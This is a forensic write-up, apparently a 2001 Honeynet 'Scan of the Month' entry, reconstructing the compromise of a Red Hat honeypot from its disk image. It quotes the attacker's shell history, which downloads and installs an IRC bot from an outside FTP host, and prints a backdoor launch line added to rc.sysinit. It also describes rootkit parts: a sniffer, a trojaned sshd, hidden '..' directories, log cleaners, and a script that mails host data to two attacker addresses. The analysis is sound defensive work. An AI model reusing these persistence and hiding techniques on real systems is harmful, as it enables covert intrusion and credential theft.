Mike Johnson mike@webfargo.com May 2001 Scan of the Month Intro I decided to spend a reasonable amount of time on this scan without going overboard. I did not dig into the binaries to see what was different. Instead of writing this as a report I decided to make it more of a how-to document. Known Facts Compromised on March 15, 2001 Tools Used for Recovery TCT http://www.porcupine.org/forensics/ Recover http://www.praeclarus.demon.co.uk/tech/e2-undel/ TCT (The Coronors Toolkit) is a collection of utilities to recover information from a UNIX machine after a hack. Recover is a tool that assists in recovering deleted files. Although TCT has the tools in it to perform basically the same functionality as Recover, I used both in order to attack the challenge with two different tools. Setting Up In order to be able to look at the dd image of the hacked machine I used a machine running Redhat 6.2. I added to that machine a 2gig partition to give me plenty of space for the output of the tools. After grabbing the disk image from http://project.honeynet.org/scans/scan15/honeynet.tar.gzI and extracting the image from the tarball with tar -xvzf honeynet.tar.gz I had honeypot.hda8.dd, I mounted it with the loopback interface with mount -o loop . Starting Information Gathering Poking through the file system gave some immediate results. In /root I found .bash_history to contain exec tcsh ls mkdir /var/... ls cd /var/... ftp ftp.home.ro tar -zxvf emech-2.8.tar.gz cd emech-2.8 ./configure y make make make install mv sample.set mech.set pico mech.set ./mech cd /etc pico ftpaccess ls exit /var is not there to review the contents of. ftp.home.ro is down, or will not let me in. (Curious to see what else may be there) A quick net search shows that emech appears to be an IRC bot. The attacker compiled and installed this tool. /etc/ftpaccess was last changed on Mar 16 at 0952 which is on a different date from the hack. The current ftpaccess is empty. This makes things more interesting but for now I'll leave it at that. Nothing else interesting found in /root so I moved to /etc and took peek at redhat-release shows this to be a Redhat Linux machine version 6.2. An ls -tral|more in /etc to get the last modified files and came up with services, inetd.conf and ftpaccess modified recently. We already know about ftpaccess. Services and inetd.conf were modified on March 15 at 2045 so know we have a suspected time the hacker was first in the machine. In /etc/rc.d I found rc.sysinit had the line /usr/bin/lsattr -t1 -X53 -p added to it from the original file. I did a diff /etc/rc.d/rc.sysinit rc.sysint to get the new line. Going through each directory (/etc, /root, etc.) in /dev I found a directory modified on March 15 at 2045 and also found modified files. The directory ida and the files rpm, last. Last contains this data. 1 193.231.139 1 213.154.137 1 193.254.34 3 48744 3 3666 3 31221 3 22546 4 48744 4 2222 A listing of IP addresses and ports. rpm contains 3 sl2 3 sshdu 3 linsniffer 3 smurf 3 slice 3 mech 3 muh 3 bnc 3 psybnc A nice listing of programs the attacker mostly likely has laying around the system. In ida an ls -altr yields an oddity with 2 directories appearing to be named ".." last edited on March 15 at 2045 and the directory .drag-on last edited at the same time. In /dev/ida/.drag-on we find a jackpot of tools. The same set of tools are also found in "/dev/ida/.. " (note the space on the end). The tools in "/dev/ida/.. " appear to have not been used. I am making this assumption based on the file tcp.log which has the same time as the other files in that directory. The tcp.log file in /dev/ida/.drag-on has been modified and was last done so on March 16 at 1128. The files in the directories are Linsniffer Logclear Mkxfs S Sense S12 Ssh_host_key Ssh_random_seed Tcp.log Linsniffer is a sniffer a hacker would use to gain login/password information from someone logging into the system. Tcp.log is the where linsniffer would log the sniffed information. Logclear is simply a script to kill -9 linsniff, erase the tcp.log, touch a new tcp.log and restart linsniff in the background. Mkxfs is what appears to be a hacked version of sshd. S is the sshd configuration file for the hacked version of sshd. This config file already has the host keys being pulled from the hackers location. Sense is a linsniff log sorting utility script to format the output of linsniff. SL2 (capitalized here for readability) is a DoS tool that accepts a srcaddr, dstaddr, a low and a high port. Ssh_host_key and ssh_random_seed are both required files for the hacked version of sshd. Luckily the manual way provided lots of information very quickly. I did not expect such results. TCT will gather information for me that it would be easy to miss while doing things manually. I'll start with unrm to gather any deleted information from the hard drive. unrm /dev/sda1 > /path/to/TCT/unrm_ouput is an example command to. I went into the blocks directory and did various greps of the information searching for words I'd seen earlier in the recovery. Examples are linsniff, logclear and the other filenames that were found in the hacker's toolkit directory. Another way of doing this a little differently is to use lazarus with the command lazarus -h unrm_output and it produces a set of html documents where you can see each type of information and click to view it. The grep method I used produced good results. Using strings and piping to less I found the install script, a copy of linsniff, a copy of logclear, information for the hacked ssh, a copy of sense and another block what contained logclear among other data. The install script (saved as install-script) gives great information as to what to look for. In order to limit time spent on this I chose not to dig into each block to recover each piece exactly as they were. I focused more on trying to find where the hacker had been and what they did while they were in the machine. The Mail Message In looking through the install-script you find that the attacker may have created a mail message if the script actually ran. In the blocks recovered by TCT there is only one block labeled as mail. A less on that block does contain mail messages to the same addresses in the install script. The block files from unrm are labeled with x, t, !, ., p, m, etc to easily determine what type of information may be in them. There is only one block with an m label. From this mail message we can gather machine information too. The honeypot was a Pentium 200, on ip address 172.16.1.108, hostname asdf1, running kernel 2.2.14-5.0 with the following partition layout. /dev/hda8 251M / /dev/hda1 23M /boot /dev/hda6 1.6G /home /dev/hda5 1.6G /usr /dev/hda7 251M /var The script creates a file named computer with the various computer information and then mails it to two different email addresses (placinte at address last@linuxmail.org and roote at address bidi_damm@yahoo.com).From this mail message as it relates to the install script we can start to assume the hacker did install their tools. Also, since we have found the tools as listed in the script we add more evidence. There is one more piece of evidence we will show to further support this. The Modified System Binaries Continuing through the install script I compared the available binaries (since we only have the / partition) to known good binaries. /sbin/ifconfig, /bin/netstat, /bin/ps are all different from original versions. I did this comparison withmd5sum . Also listed were /usr/bin/top which we do not have for this challenge. We should find mkxfs (the hacked sshd) in /usr/sbin. Other commands the script issued were creating /dev/rpm (which we have) coping the tools to /dev/ida/.drag-on and "/dev/ida/.. " (which we found). Lsattr was added to /usr/bin presumably (we do not have access to that partition) and lsattr -t1 -X53 -p was added to /etc/rc.d/rc.sysinit. This I have to assume is the hacker's backdoor into the system since it is started from the system install scripts. At the end of the install script an rm -rf last lk.tgz computer lk.tar.gz command is issued to clean up after itself. One could spend time on these modified binaries to determine what changed on them. HTTPD The install script also looked in several places for the cgi-bin for apache and if found copies last.cgi to that directory. More Files Most the the blocks I've focused on so far were close in number so I went through the other blocks that were close in number. In one of those blocks I found sauber, which is a system log file cleaner script to remove traces of the attacker from the system log files. Recover I moved on to a tool called recover. Recover attempt to recover deleted inodes. Using the command "recover /dev/loop0". Recover asks the first and last possible date the files where deleted as well as the smallest and largest possible file size. I entered all of March 15th and 16th. This tool came back with much of the same data so I will leave it out of this discussion. Other Information The attacker created "/var/..." which we do not have access to. Attached is the install-script of the toolkit.